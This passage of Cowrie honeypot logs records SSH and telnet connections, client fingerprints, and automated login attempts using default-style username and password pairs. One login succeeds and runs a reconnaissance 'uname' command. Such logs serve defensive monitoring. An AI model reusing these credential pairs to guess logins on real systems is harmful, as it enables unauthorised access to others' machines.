dsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:05.788060Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:06.476579Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:06.823703Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:06.826984Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:07.013330Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:07.016895Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b2a7d84557c","protocol":"ssh","message":"New connection: 160.191.244.158:33130 (159.203.135.109:22) [session: 3b2a7d84557c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:10.574285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:10.578197Z","src_ip":"160.191.244.158","session":"3b2a7d84557c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:10.816053Z","src_ip":"160.191.244.158","session":"3b2a7d84557c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nba","password":"nba123","message":"login attempt [nba/nba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:11.801878Z","src_ip":"160.191.244.158","session":"3b2a7d84557c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29194,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3cfa1c3a686","protocol":"ssh","message":"New connection: 141.11.88.14:29194 (10.17.0.5:22) [session: e3cfa1c3a686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:12.565289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:12.760542Z","src_ip":"141.11.88.14","session":"e3cfa1c3a686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:12.766855Z","src_ip":"141.11.88.14","session":"e3cfa1c3a686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:13.041637Z","src_ip":"160.191.244.158","session":"3b2a7d84557c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:14.817999Z","src_ip":"141.11.88.14","session":"e3cfa1c3a686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"681df7972190","protocol":"telnet","message":"New connection: 172.81.62.90:46464 (159.203.135.109:23) [session: 681df7972190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:15.445222Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:16.024295Z","src_ip":"141.11.88.14","session":"e3cfa1c3a686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63258,"dst_ip":"10.17.0.5","dst_port":22,"session":"d20120ae65e6","protocol":"ssh","message":"New connection: 141.11.88.14:63258 (10.17.0.5:22) [session: d20120ae65e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:19.069215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:19.203955Z","src_ip":"141.11.88.14","session":"d20120ae65e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:19.207964Z","src_ip":"141.11.88.14","session":"d20120ae65e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"readonlyuser","password":"readonlyuser","message":"login attempt [readonlyuser/readonlyuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:20.386770Z","src_ip":"141.11.88.14","session":"d20120ae65e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:21.472596Z","src_ip":"141.11.88.14","session":"d20120ae65e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":40870,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20d24c3058d","protocol":"ssh","message":"New connection: 211.253.37.225:40870 (159.203.135.109:22) [session: e20d24c3058d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:24.753237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:24.759700Z","src_ip":"211.253.37.225","session":"e20d24c3058d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37544,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f82d030b8c7","protocol":"telnet","message":"New connection: 172.81.62.90:37544 (159.203.135.109:23) [session: 8f82d030b8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:24.979266Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:24.988038Z","src_ip":"211.253.37.225","session":"e20d24c3058d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63300,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ed94bb08781","protocol":"ssh","message":"New connection: 141.11.88.14:63300 (10.17.0.5:22) [session: 6ed94bb08781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:25.755941Z"}
{"eventid":"cowrie.login.failed","username":"estate","password":"estate","message":"login attempt [estate/estate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:25.799232Z","src_ip":"211.253.37.225","session":"e20d24c3058d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:26.055407Z","src_ip":"141.11.88.14","session":"6ed94bb08781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:26.058341Z","src_ip":"141.11.88.14","session":"6ed94bb08781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:27.011141Z","src_ip":"141.11.88.14","session":"6ed94bb08781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:27.061237Z","src_ip":"211.253.37.225","session":"e20d24c3058d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"62b4c11ecf9e","protocol":"telnet","message":"New connection: 128.199.8.54:55682 (159.203.135.109:23) [session: 62b4c11ecf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:27.106071Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:28.308836Z","src_ip":"141.11.88.14","session":"6ed94bb08781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c618e0491d91","protocol":"ssh","message":"New connection: 141.11.88.14:15116 (10.17.0.5:22) [session: c618e0491d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:33.062509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:33.066176Z","src_ip":"141.11.88.14","session":"c618e0491d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:33.147265Z","src_ip":"141.11.88.14","session":"c618e0491d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:33.527280Z","src_ip":"141.11.88.14","session":"c618e0491d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.04660415649414,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:34.358765Z","src_ip":"128.199.8.54","session":"3b21c6600ff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:34.621084Z","src_ip":"141.11.88.14","session":"c618e0491d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":37844,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ef17bdfbb6","protocol":"ssh","message":"New connection: 103.143.231.24:37844 (10.17.0.5:22) [session: 70ef17bdfbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:37.241369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:37.244696Z","src_ip":"103.143.231.24","session":"70ef17bdfbb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:37.314296Z","src_ip":"103.143.231.24","session":"70ef17bdfbb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as","message":"login attempt [root/as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:37.633365Z","src_ip":"103.143.231.24","session":"70ef17bdfbb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:38.706861Z","src_ip":"103.143.231.24","session":"70ef17bdfbb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55038,"dst_ip":"159.203.135.109","dst_port":23,"session":"938bd3fc208f","protocol":"telnet","message":"New connection: 128.199.8.54:55038 (159.203.135.109:23) [session: 938bd3fc208f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:39.455481Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"a591abf680f2","protocol":"ssh","message":"New connection: 141.11.88.14:53670 (10.17.0.5:22) [session: a591abf680f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:41.043526Z"}
